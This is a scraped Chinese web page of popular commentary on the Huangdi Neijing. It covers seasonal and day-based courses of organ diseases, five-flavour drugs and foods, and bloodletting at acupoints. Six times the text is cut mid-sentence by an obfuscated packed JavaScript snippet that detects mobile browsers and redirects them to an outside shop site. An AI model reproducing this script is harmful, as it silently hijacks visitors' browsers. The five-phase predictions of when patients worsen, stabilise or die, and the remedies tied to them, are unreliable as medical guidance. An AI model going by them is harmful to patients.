l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428689|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢废物和毒素有关。 到了半夜，人体进入深度睡眠状态，身体的各项机能也开始进入休息和修复阶段。对于肝病患者来说，这个阶段肝脏的负担相对减轻，病情可能会稳定下来。此外，深度睡眠有助于身体的自我修复和免疫力的提升，对于肝病患者的康复也有一定的帮助。 以上解释仅仅是一种基于一般生活经验和医学知识的推测，并不能完全准确地描述所有肝病患者的病情变化。每个人的病情和身体状况都是独特的，因此具体的病情变化还需要根据医生的诊断和建议来确定。同时，肝病患者也应该注意保持良好的生活习惯和饮食习惯，避免过度劳累和情绪波动，以维护肝脏的健康。 中医认为，肝脏主疏泄，具有调畅气机、促进血液和津液运行的作用。当肝脏功能失调时，容易出现气滞、血瘀等病理变化，因此治疗肝病时确实需要注重疏泄调达。 在药物选择上，辛味药因其具有发散、行气的特性，常被用于肝病的疏泄治疗。辛味药能够疏通经络，促进气血流通，从而缓解肝脏气滞的症状。当肝病需要补养时，辛味药也可以发挥其温补的作用，帮助肝脏恢复其功能。 然而，对于需要泻的肝病情况，酸味药并不是首选。酸味药通常具有收敛、固涩的作用，与疏泄调达的治疗原则相悖。在中医理论中，泻法通常指的是通过清热、利湿、解毒等方法来排除体内的湿热、 瘀血等病邪。对于需要泻的肝病，应该根据具体病情选用合适的泻法药物，如清热药、利湿药等。 需要强调的是，中医治疗肝病时强调辨证施治，即根据患者的具体病情和体质来选择合适的药物和治疗方案。因此，在使用辛味药或酸味药时，必须根据患者的具体情况来决定，不能一概而论。同时，肝病患者也应该在医生的指导下进行药物治疗，避免自行用药带来的风险。 第17章 （3）心病好转与稳定的治疗原则与策略 心脏有病，在长夏最容易治愈，如果长夏不愈，到了冬季，病情就会加重。如果病人在冬季没有死亡，到了来年，春季病情就会维持稳定不变的状态。到了夏季，病就会好转，心病的人应忌食温热食物，衣服也不能穿的太暖”。 中医认为心脏与夏季相应，夏季是心脏功能最为旺盛的季节。因此，在长夏时节，心脏疾病的治疗往往更为有效，因为此时心脏的功能处于最佳状态，有利于疾病的恢复。 如果心脏疾病在夏季没有得到有效的治疗，病情可能会逐渐加重。到了冬季，由于天气寒冷，人体的阳气逐渐收敛，心脏的功能也会相应减弱。此时，如果心脏疾病仍然存在，病情往往会加重，因为心脏需要更多的能量来抵御寒冷，而疾病的存在会进一步消耗心脏的能量。 如果病人在冬季能够挺过这一难关，没有因为心脏疾病而死亡，那么到了来年春季，病情可能会进入一个相对稳定的状态。这是因为春季是万物复苏的季节，人体的阳气也开始逐渐升发，心脏的功能也会逐渐恢复。此时，如果病人能够继续保持良好的生活习惯和心态，病情可能会得到进一步的稳定。 到了夏季，由于天气炎热，人体的阳气达到最旺盛的状态，心脏的功能也会相应增强。此时，心脏疾病往往会得到好转，因为心脏有足够的能量来抵御疾病的侵袭。 心病的人应忌食温热食物和衣服也不能穿得太暖这一点，同样可以从中医的角度进行解释。中医认为心脏属火，喜欢清凉而厌恶燥热。因此，心病的人应该避免食用过于温热的食物，以免加重心脏的负担。同时，衣服也不应该穿得太暖，以免身体过热，导致心脏功能进一步受损。 心病与天干日对应治愈与病情变化的问题，在中医理论中，天干（甲、乙、丙、丁、戊、己、庚、辛、壬、癸）与五行（木、火、土、金、水）以及人体脏腑经络有着密切的联系。 戊己在五行中属土，土与脾胃相应，同时也与心脏有间接的联系，因为脾胃是后天之本，气血生化之源，而心主血脉，需要气血的滋养。因此，在戊己日，由于土气旺盛，有助于脾胃功能的增强，从而间接促进心脏的气血生成和循环，使得心病有可能得到更好的治愈。 如果心病在戊己日没有得到有效的治愈，病情可能会逐渐加重。这是因为随着五行的循环变化，病情会受到不同天干日五行属性的影响。壬癸在五行中属水，水与肾脏相应，同时也与心脏有相克的关系。在壬癸日，水气旺盛，可能会克制心脏的火气，使得心气更加虚弱，病情因此加重。 如果病人在壬癸日能够挺过这一难关，没有因为心脏疾病而死亡，那么到了甲乙日，病情可能会进入一个相对稳定的状态。甲乙在五行中属木，木与肝脏相应，同时也与心脏有相生的关系。在甲乙日，木气旺盛，有助于肝脏功能的增强，从而通过肝木生心火的方式，间接促进心脏功能的恢复，使得病情得以稳定。 到了丙丁日，由于丙丁在五行中属火，与心脏相应，火气旺盛有助于心脏功能的增强。因此，心病的人在丙丁日往往会感到病情好转，心脏的不适感也会有所减轻。 需要注意的是，以上分析是基于中医的“五运六气”理论进行的解释，并不能完全适用于所有情况。每个人的体质和病情都是不同的，因此需要结合具体的情况进行综合分析和治疗。同时，心病的治疗也需要综合考虑病人的生活习惯、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428690|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心理状态等因素，以达到更好的治疗效果。 关于心脏有病的人在不同时间段的病情表现，我们可以从中医的角度来解析这一现象。心脏属火，而中午时分正是阳气最旺盛的时刻，与心脏的火性相应，因此心脏疾病患者在这个时间段可能会感到神清气爽，病情相对较轻。然而，到了半夜时分，阳气衰退，阴气上升，心脏的火性受到抑制，导致病情可能加重。到了早晨，随着阳气的逐渐回升，病情又会相对稳定下来。 至于心病需缓软的治疗原则，中医强调“心主血脉，心气宜软”。当心脏功能出现障碍时，需要采用柔和的治疗方法来调养。在治疗时，中医会根据病情的具体情况来选择药物。对于需要补养的心脏疾病，确实会使用咸味药来柔软心脏，因为咸味药具有软坚散结、润燥通便的作用，有助于缓解心脏的紧张和僵硬状态。同时，咸味药也能入肾，通过补肾来间接补心，因为中医有“肾为先天之本，心为后天之本”的理论，肾与心在生理和病理上相互依存、相互影响。 而对于需要泻的心脏疾病，中医会采用甘味药来泻。甘味药具有补中益气、调和诸药的作用，能够缓解心脏的紧张和疲劳状态，同时促进气血的流通和排出体内的瘀血和痰湿等有害物质。甘味药还能入脾，通过补脾来间接养心，因为中医有“脾为后天之本”的理论，脾的运化功能对于心脏的气血生成和循环至关重要。 总之，中医治疗心脏疾病时强调“辨证施治”，即根据病情的具体情况和患者的个体差异来选择合适的药物和方法。对于心脏有病的人来说，在治疗过程中需要注意调整饮食和生活习惯，保持心情愉悦和充足的睡眠时间等，以促进疾病的康复和身体健康。 第17章 （4）脾病好转与稳定的治疗原则与策略 关于脾脏疾病的季节性变化，这实际上反映了中医理论中关于“五行”与“四季”相互关联的观点。在中医看来，人体五脏（心、肝、脾、肺、肾）与自然界中的五行（金、木、水、火、土）和四季（春、夏、秋、冬）有着密切的联系。脾脏，作为五行中的“土”，与秋季（金）有着特定的相克与相生关系。 在秋季，金气旺盛，而土（脾脏）则相对较弱，因此脾脏疾病在这一季节最容易受到外部因素的影响。如果秋季能够妥善调养，顺应自然规律，脾脏疾病就有望得到治愈。然而，如果错过了秋季的治疗时机，病情可能会随着季节的转换而加重。 到了春季，木气生发，木克土，因此脾脏疾病可能会进一步恶化。但如果病人能够熬过春季，到了夏季，火气旺盛，火生土，此时脾脏疾病可能会进入一个相对稳定的阶段。再往后，到了长夏季节（即夏季与秋季之间的时期），湿气渐重，湿能生土，因此脾脏疾病有可能得到好转。 关于脾病的饮食调养，中医确实认为应避免食用温热性食物，因为这类食物可能会加重脾脏的负担。同时，也要避免饮食过饱、居住在潮湿之地以及穿着湿衣等行为，这些都可能损伤脾阳，影响脾脏的正常功能。 关于脾有病的人在庚辛日最容易治愈这一观点，实际上涉及到中医的“干支”理论。在中医五行学说中，脾属土，而庚辛日则属于金日。在五行相生的关系中，土生金，因此，在金日（庚辛日）时，土（脾）的功能可能更容易得到恢复和提升，使得脾病容易得到治愈。 然而，如果脾病在庚辛日没有得到有效的治疗，病情可能会随着五行的相克关系而发生变化。在甲乙日，木气旺盛，木克土，因此脾病可能会进一步加重。但是，如果病人能够挺过甲乙日，到了丙丁日，火气旺盛，火生土，这时脾的功能可能会得到一定程度的恢复，病情可能会进入一个相对稳定的阶段。 到了戊己日，土气旺盛，正是脾的本气，此时脾的功能可能会得到进一步的恢复和提升，病情也可能会出现好转的迹象。 需要注意的是，以上只是中医五行理论的一种解释，并不能作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428691|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为医学治疗的唯一依据。在实际的治疗过程中，还需要根据病人的具体情况进行辨证施治，综合考虑多种因素，制定个性化的治疗方案。同时，保持良好的生活习惯和饮食习惯也是预防和治疗脾病的重要措施。 关于脾脏病的治疗原则，黄帝内经提出了“甘能缓中”的观点。这意味着在治疗脾脏病时，可以通过服用甘味药来调和、缓和脾脏的功能异常。甘味药通常具有补益、和中、缓急等作用，适用于脾胃虚弱、气血不足等症状。 也强调“实则泻之，虚则补之”的治疗原则。对于脾脏病中出现的实症（如湿热、积滞等），可以使用苦味药来清热泻火、燥湿化积，以达到泻下的目的。而对于虚证（如气虚、血虚等），则应以甘味药来补益气血，增强脾脏的功能。 因此，在治疗脾脏病时，需要根据病情的具体情况来选择合适的药物。甘味药和苦味药都有其特定的作用和适用范围，需要在医生的指导下合理使用。同时，除了药物治疗外，还应注意调整饮食习惯、生活习惯等，以全面改善脾脏的健康状况。 第17章 （5）肺病好转与稳定的治疗原则与策略 肺脏疾病与季节变化之间的关系，但并非所有肺脏疾病都严格遵循这一模式。不过，从一般医学和养生的角度来看，这种观察确实有其合理性。 冬季是自然界收藏、内敛的季节，人体内的阳气也趋向于内敛，气血循环相对缓慢。如果此时肺脏有病，其正常的生理功能受到影响，阳气难以达到体表抵御寒冷，更容易出现病情加重的情况。因此，在冬季，对于肺脏疾病的患者来说，保暖、避免寒冷刺激尤为重要。 到了夏季，阳气旺盛，气血循环加快，对于肺脏疾病的患者来说，这是一个相对较好的季节。如果病情在夏季能够得到控制，没有进一步恶化，那么到了长夏时节，随着气候的稳定，病情也有可能保持稳定不变的状态。 进入秋季，天气逐渐凉爽，人体的阳气也开始收敛。此时，肺脏疾病的患者可能会感到病情有所好转，因为秋季的气候特点与肺脏的功能相协调，有利于肺气的宣发和肃降。但即便如此，患者仍需注意避免寒冷刺激，保持饮食和穿着的适宜。 有病应禁忌，寒冷饮食及穿的太单薄”，这是基于中医理论给出的建议。中医认为，肺脏与寒冷相克，因此肺脏疾病的患者应尽量避免寒冷刺激，包括饮食和穿着方面。这样可以减少寒冷对肺脏的伤害，有利于病情的恢复。 对于肺有病的人在一天中病情变化的描述，我们可以从中医的角度来探讨这个问题。 中医认为人体的生理功能与自然界的变化密切相关。傍晚时分，阳气开始内敛，阴气逐渐升发，这个时间段对于肺脏来说是一个相对舒适的状态，因此患者可能会感到精神舒爽。 到了中午时分，阳气达到顶点，气温也相对较高，这可能导致人体内的阳气过于旺盛，从而加重肺脏的负担。对于肺有病的人来说，此时可能会出现病情加重的情况，如咳嗽、气喘等症状加剧。 到了半夜，阳气逐渐消退，阴气逐渐占据主导地位，人体进入休息和修复的状态。对于肺脏来说，这个时间段也是一个相对平静的状态，因此患者的病情可能会平稳下来。 当然，这只是一种可能的解释，并且并不是所有肺病患者在一天中都会出现这样的病情变化。每个人的身体状况和病情都是独特的，因此在实际治疗过程中，我们需要根据患者的具体情况进行个体化治疗。 此外，对于肺病患者来说，保持良好的生活习惯和作息规律也是非常重要的。避免过度劳累、保持良好的情绪状态、合理饮食和适度运动等都有助于病情的稳定和恢复。 肺气需要收敛，以及在治疗过程中如何运用酸味药和辛味药的问题，我们可以从中医的角度来探讨。 中医理论中确实认为肺气有收敛的特性，这种收敛性对于维持肺的正常功能至关重要。当肺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428692|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气过于发散时，可能会导致咳嗽、气喘等症状。因此，在治疗过程中，我们确实需要采取措施来收敛肺气。 在中药理论中，酸味药被认为具有收敛的作用，能够收敛肺气，减少其过度发散。因此，在治疗肺气过于发散的病症时，我们可以考虑使用酸味药来收敛肺气。例如，五味子、乌梅等酸味药物在中医中常被用于治疗肺虚久咳、肺燥干咳等病症。 然而，需要注意的是，虽然酸味药具有收敛作用，但并不是所有需要补的病症都适合使用酸味药。在中医中，补法有多种，包括补气、补血、补阴、补阳等。对于肺气虚弱的患者，我们可能需要使用具有补气作用的药物，如黄芪、党参等，而不是仅仅依赖酸味药来收敛。 另外，关于需要泻的病症，使用辛味药来泻是一个常见的治疗原则。辛味药具有发散、行气的作用，能够宣通肺气，促进痰液的排出。在中医中，对于因肺气郁滞而导致的咳嗽、气喘等病症，我们常使用辛味药来宣通肺气，如麻黄、桂枝等。 总之，在治疗肺部疾病时，我们需要根据患者的具体病情和中医的治疗原则来选择合适的药物和治疗方法。酸味药和辛味药在中医中都有其独特的作用和适用范围，但并非所有病症都适合使用这两种药物。因此，在使用药物时，我们需要综合考虑患者的病情、体质、年龄等因素，以确保治疗的有效性和安全性。 第17章 （6）肾病好转与稳定的治疗原则与策略 感谢朋友们对我一直的支持，其实黄帝内经很难懂，但我呢，也尽量的把原文做简化，或是纯白话文。有的地方说的可能过于详细。目的呢，是为了让一些新朋友能看的更加明白。黄帝内经这本书呢，是一个需要长间去学习，去思考，去领悟的过程，那为什么说我们要学习这本书呢？其实这本书的智慧，值得我们一直去学习，黄帝内经的的智慧也在体现我们生活的智慧，包括生活的各个方面，你自己去领悟，你会发现你的成长是非常快速的。所以说这本书的值得我们去感悟，当我们把这本书学好了，反复阅读，反复去领悟你的人生境界，会有一个不同。同时，通过黄帝内经的智慧，你可能对其他书会有不同的看法，有不同的领悟能力。那我们接着去分享黄帝内经书中的内容。 肾脏疾病在春季最容易治愈的说法，从中医的角度来看，春季是肝气生发的季节，而肝与肾有相互滋生的关系，即“肝肾同源”。因此，春季时，通过适当的调理和治疗，确实有可能对肾病产生积极的治疗效果。但这并不意味着肾病在春季就一定能治愈，因为疾病的治疗效果还受到许多其他因素的影响，如病情严重程度、治疗方法、个体差异等。 关于肾病患者在不同季节的病情变化，中医理论认为，人体的脏腑功能与四季变化密切相关。春季肝气生发，夏季心阳旺盛，秋季肺气收敛，冬季肾阳潜藏。因此，肾病患者在不同季节的病情变化与季节的阴阳变化有一定关系。 肾病患者应该禁食的食物和穿着建议，有一些需要注意的地方。首先，肾病患者应该避免食用过热的食物，如火烤、油炸等，因为这些食物可能会加重肾脏的负担。其次，肾病患者应该避免穿经火烘烤过的衣服，因为这些衣服可能会对皮肤产生刺激，进而影响肾脏健康。 “肾有病的人在甲乙日容易治愈从中医的角度来看，甲乙日可能与五行中的“木”相对应，木具有生长、升发的特性，与肾所主的“水”相生相克，因此可能认为在甲乙日肾气能够得到更好的生发和恢复。 甲乙日不愈到戊己日病情就会加重”，戊己日与五行中的“土”相对应，土具有收纳、固定的特性，如果病情在甲乙日没有得到改善，会因为土的特性而导致病情固定、加重。 病人在戊己日没有死亡到庚辛日，病情就会维持稳定不变的状态”，“到壬癸日病就会好转”。 肾有病的人在一天中不同时间段的病情表现，确实在中医理论中有所涉及。中医认为，人体的脏腑功能和病情表现与自然界的时间节律有着密切的关系。具体到肾病，如果在半夜时候精神舒爽，而在晨戌丑未四个时辰（即凌晨1点到3点、5点到7点、下午1点到3点、下午5点到7点）病情加重，这可能与肾气的运行和调节有关。 关于肾主闭藏的特性，中医理论认为肾藏精，主生长发育与生殖，具有封藏精气的功能。因此，在治疗肾病时，需要兼顾肾气的封藏功能，避免过度耗散。 苦味药和咸味药来治疗肾病，这也是中医用药的基本原则之一。苦味药能泄能燥，具有清热燥湿、降逆止呕、泻火存阴等作用，可以用于治疗肾病中的热症、湿症等。而咸味药能软能下，具有软坚散结、泻下通便等作用，可以用于治疗肾病中的硬结、水肿等。 需要强调的是，中医用药需要根据患者的具体情况进行辨证施治，不能一概而论。对于肾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428693|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病的治疗，需要综合考虑患者的病因、病机、证候等因素，选择合适的药物和治疗方法。同时，也需要注意药物的剂量和用药时间，避免过度用药或用药不当导致的不良反应。 邪气侵袭人体后疾病的演变和变化，存在一套与五脏功能及时间节律密切相关的理论。这种理论体现了中医对人体生理病理变化与时间、环境因素的深刻认识。 当邪气侵袭人体时，它会根据人体的强弱、脏腑功能的盛衰来发展变化。如果邪气遇到的是强盛的脏腑，那么病情可能会相对较轻，因为强盛的脏腑有更强的抵抗力。相反，如果邪气遇到的是虚弱的脏腑，那么病情可能会加重。 根据中医的五行相生相克理论，当邪气侵袭某个脏腑时，与该脏腑相生或相克的脏腑也会受到影响。在相应的时间段，如果邪气遇到与该脏腑相生的脏腑，病情可能会得到缓解或稳定；而如果遇到与该脏腑相克的脏腑，病情则可能会加重。 五脏的平脉脉象，这是中医诊断中非常重要的一环。通过观察脉象的强弱、节律等特征，可以判断五脏功能的盛衰和邪气的侵袭情况。只有明确了五脏的平脉脉象，才能更准确地推测疾病变轻变重的时间及生死的日期。 需要强调的是，中医的这种理论并不是一种绝对的预测工具，它更多的是一种对人体生理病理变化规律的总结和认识。在实际应用中，还需要结合患者的具体情况、病因病机等因素进行综合分析，才能做出更准确的诊断和治疗。 总之，中医的这套理论为我们理解疾病的发展变化规律提供了一种独特的视角和方法。通过学习和掌握这些理论，我们可以更好地理解和应对各种疾病。 第17章 （7）五脏养生秘籍：虚实证候的诊断 在中医理论中，肝脏被赋予了“疏泄气机、调节情志”的重要功能。当肝脏功能出现异常时，会反映出一系列的身体症状。 当肝脏有病且表现为肝气实时，可能会引发两胁下疼痛，这种疼痛有时会牵引至小腹部位。同时，患者还可能表现出易怒的情绪，因为肝气的郁结不畅可能导致情绪失控。 当肝气虚时，情况则有所不同。肝气虚的患者可能会感到两眼昏花，视物不明，这是由于肝血不足，无法滋养眼睛所致。同样，两耳也可能出现听力下降的情况，因为肝经的脉络通过耳部，肝气虚则脉络不畅，影响听力。此外，肝气虚的患者还容易感到恐惧，好像有人要逮捕似的，这是因为肝气的不足导致情绪调节功能失常，使人对外界刺激过度敏感。 在中医治疗中，对于肝气实和肝气虚的患者，会采用不同的治疗方法。对于肝气实的患者，可能会采用疏肝解郁的方法，如使用柴胡、白芍等中药来调和肝气。而对于肝气虚的患者，则可能会采用补养肝血、益气健脾的方法，如使用当归、黄芪等中药来滋补身体。 经络治疗时取用厥阴肝经和少阳胆经这是中医针灸治疗中的一种常见方法。当肝气上逆导致头痛、耳聋、听觉失灵、面颊肿胀等症状时通过针刺放血的方法刺激这些经脉上的穴位，可以帮助调和气血，缓解病症。 对于肝气上逆导致的头痛，可以选取厥阴肝经上的穴位，如太冲穴、行间穴等，进行针刺放血治疗。对于耳聋、听觉失灵等症状，可以选取少阳胆经上的穴位，如听会穴、听宫穴等，进行同样的治疗。面颊肿胀则可以同时考虑厥阴肝经和少阳胆经的穴位，如颊车穴、下关穴等。 需要注意的是，针灸治疗需要在专业医师的指导下进行，以确保操作的安全和有效。同时，对于不同的病症和个体差异，医师还会根据具体情况进行辨证施治，选择最适合患者的治疗方案。 当心脏出现“实”的病理状态时，可能会表现为胸中疼痛、胁部支撑胀满、胁下疼痛、背部及肩胛间疼痛，以及两臂内侧疼痛等症状。这些症状在中医理论中通常与心血瘀阻、心脉不畅有关。心血瘀阻可能导致心脏本身及周围组织的血液供应不足，从而引发各种疼痛感。 当心脏出现“虚”的病理状态时，可能会出现胸部、胸腹部胀大，以及胁下和腰部牵引作痛的症状。这些症状通常与心气不足、心脏功能减弱有关。心气不足可能导致心脏无法正常推动血液运行，从而引起胸腹部胀大、胁下和腰部牵引作痛等症状。 需要注意的是，这些症状并非绝对，也不是所有心脏疾病都会出现的典型表现。因此，在出现这些症状时，建议尽快就医进行专业检查和诊断。 对于心脏疾病的预防和治疗，中医强调“治未病”和“辨证施治”的原则。通过调整生活方式、饮食习惯、情志状态等方面来预防心脏疾病的发生；在治疗时则根据患者的具体情况进行辨证施治，选用适当的中药方剂或针灸、推拿等治疗方法来调和气血、疏通经络、补益心气等。 经络治疗取用少阴心经和太阳小肠经的经血，并刺舌下的廉泉穴进行放血治疗的问题，这里涉及的是中医经络理论中的治疗方法。 在中医理论中，经络是人体内气血流通的通道，而少阴心经和太阳小肠经则是这两条重要的经络。当人体出现某些疾病时，可以通过刺激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428694|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两条经络上的穴位，来调节气血流通，达到治疗疾病的目的。 廉泉穴位于舌下，是少阴心经的穴位之一。通过刺激廉泉穴进行放血治疗，可以疏通经络，调和气血，对于治疗与心脏和小肠相关的疾病具有一定的疗效。而阴郄穴则是少阴心经的另一个重要穴位，位于手腕横纹上，尺侧腕屈肌腱的桡侧缘，腕横纹的桡侧端，当尺侧腕屈肌腱的桡侧缘凹陷处。如果病情与刚发病时有所不同，或者需要更深入地调节气血，可以针刺阴郄穴进行放血治疗。 这种经络治疗方法需要由专业的中医师进行操作，因为针刺放血需要准确找到穴位，并且掌握好刺入的深度和放血的量。同时，这种治疗方法也需要根据患者的具体情况进行辨证施治，因为不同的疾病和病情可能需要不同的穴位和治疗方法。 总经络治疗是中医理论中的一种重要治疗方法，通过刺激经络上的穴位来调节气血流通，达到治疗疾病的目的。但是需要注意的是，这种治疗方法需要由专业的中医师进行操作，并且需要根据患者的具体情况进行辨证施治。对于初学者自己不可做。 脾脏有病且表现为“脾实”时，可能会出现身体沉重、容易饥饿、肌肉微软无力、两脚迟缓不收、行走时容易抽搐以及脚下疼痛等症状。这些症状在中医看来，可能是由于脾脏功能亢进，气血运行不畅所致。 而当脾脏表现为“脾虚”时，则可能出现腹部胀满、肠鸣泄泻、食物不化等症状。这些症状则是因为脾脏功能虚弱，无法正常运化水谷精微，导致气血生化无源，进而影响到身体其他脏腑的功能。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第17章 （8）五脏调和秘诀：五色五味食物全攻略 在中医理论中，五行学说是一种重要的理论基础，它认为宇宙万物都可以由金、木、水、火、土五种基本元素来解释，而人体的五脏（肝、心、脾、肺、肾）也与这五行有着密切的联系。具体到肝，它与青色相应，这是因为青色象征着生长、生发，与肝的疏泄功能相契合。 肝病宜食甘味，中医认为甘味食物能够缓急、和中、补益，有助于调和肝的疏泄功能，缓解肝病的症状。甘味食物中，硬米（通常指糙米或未经过度加工的米）富含营养，能够健脾和胃，有助于肝病的调养；牛肉性味甘平，能够补益气血，强壮身体；枣子被誉为“百果之王”，具有补中益气、养血安神的功效；葵菜（即冬葵）则能清热利尿、解毒消肿，对于肝病引起的水肿等症状有一定的缓解作用。 然而，需要注意的是，虽然甘味食物对肝病有益，但并非所有肝病患者都适合食用。每个人的体质和病情都有所不同，因此在选择食物时需要根据个人情况来合理搭配。同时，肝病的治疗是一个综合性的过程，除了饮食调养外，还需要结合药物治疗、生活方式调整等多方面因素来综合考虑。 心脏在五行中属于火，其色为赤。而心病宜食酸味，则是因为酸味食物能够收敛心气，有助于调和心脏的功能。 小豆、犬肉、李子、韭菜这些食物，确实在中医的食性理论中被认为具有酸味特性。下面我来简要解释一下： 1. 小豆：性味甘酸，能清热解毒、利尿消肿。在中医看来，小豆的酸味有助于收敛心气，调和心脏功能。 2. 犬肉：虽然现代饮食文化中较少提及犬肉作为食材，但在中医理论中，犬肉被认为具有温补性质，其酸味也有助于调和心脏功能。 3. 李子：性味酸甘，能生津止渴、清肝除热。李子的酸味能够收敛心气，对于调和心脏功能有一定的帮助。 4. 韭菜：性味辛甘温，能补肾温阳、行气活血。虽然韭菜主要以辛味为主，但其也带有一定的酸味，对于调和心脏功能也有一定的辅助作用。 虽然这些食物在中医理论中具有一定的酸味特性，能够调和心脏功能，但并不能直接治疗心脏病。在出现心脏疾病时，应及时就医，遵循医生的建议进行治疗。同时，在饮食中适量摄入这些食物，可以作为辅助调养心脏功能的一种方式。 肺与白色相应，这是因为白色在五行中代表金，而肺在五行中也属金，因此白色与肺有着天然的联系。这种对应关系不仅体现在颜色上，更在于它们所代表的属性和功能上的相似。白色象征着清洁、纯净，而肺的主要功能之一就是呼吸，将外界的清气吸入体内，排出体内的浊气，从而保持人体的清新与活力。 至于肺病宜食苦味，这一观点在中医中也是有所依据的。苦味能泄、能燥、能坚阴，具有清热泻火、降逆止呕、通利大便等作用。在五行理论中，火克金，而苦味属火，因此适当食用苦味食物可以制约肺金的亢盛，从而起到调和肺脏的作用。 然而，需要注意的是，你提到的小麦、羊肉、杏这些食物，在中医理论中虽然各自具有不同的性味和功效，但并非都属于苦味。小麦性味甘凉，能养心益肾、除热止渴；羊肉性味甘温，能益气补虚、温中暖下；杏则性味酸甘温，能润肺止咳、润肠通便。虽然这些食物在某些情况下可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428695|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具有一定的苦味，但并不能将它们简单地归为苦味食物。 在调理肺病时，应根据患者的具体病情和体质来选择合适的食疗方法。同时，也要注意食疗的适量和适时，避免过量或不当食用某些食物导致的不良后果。如有需要，建议在专业中医师的指导下进行食疗调理。 脾与黄色相应，黄色象征着土地的肥沃和滋养，正如脾在人体中承担着运化水谷精微、化生气血的重要职责，为身体提供源源不断的营养。 “脾病宜食咸味”，在中医理论中其实并不完全准确。传统上，中医认为脾病更宜食甘味食物，因为甘味能补脾益气，有助于恢复脾的运化功能。而咸味食物虽然能软坚散结，但过量食用可能会损伤脾胃，对脾病患者不利。 大豆、肉和栗子，它们在中医食疗中确实有一定的应用价值，但并不都属于咸味。大豆性味甘平，具有健脾宽中、润燥消水的功效；肉类根据种类和部位的不同，性味也有所差异，但一般来说，适量食用肉类能够补益气血，强壮身体；栗子性味甘温，能健脾养胃、补肾强腰。这些食物在脾病的调养中都可以适当食用，但需要根据患者的具体情况和体质来合理搭配。 总之，在中医理论中，脾与黄色相应，脾病更宜食甘味食物以补脾益气。在选择食物时，需要综合考虑食物的性味、功效以及患者的体质和病情，避免盲目偏信某种食物或食疗方法。 肾病宜食辛味，我们首先要明确，中医所说的“辛味”并不仅仅等同于现代意义上的“辣味”，而是指具有发散、行气、活血等作用的食物性味。 这章没有结束，请点击下一页继续阅读！ 第18章 宣明五气篇 宣明即宣扬阐明之意，五气即五脏之气。本篇接上篇《脏气法时论》的内容，对于人体五脏之气的功能变化进行了更深入的，细致的阐明，所以名为宣明五气。 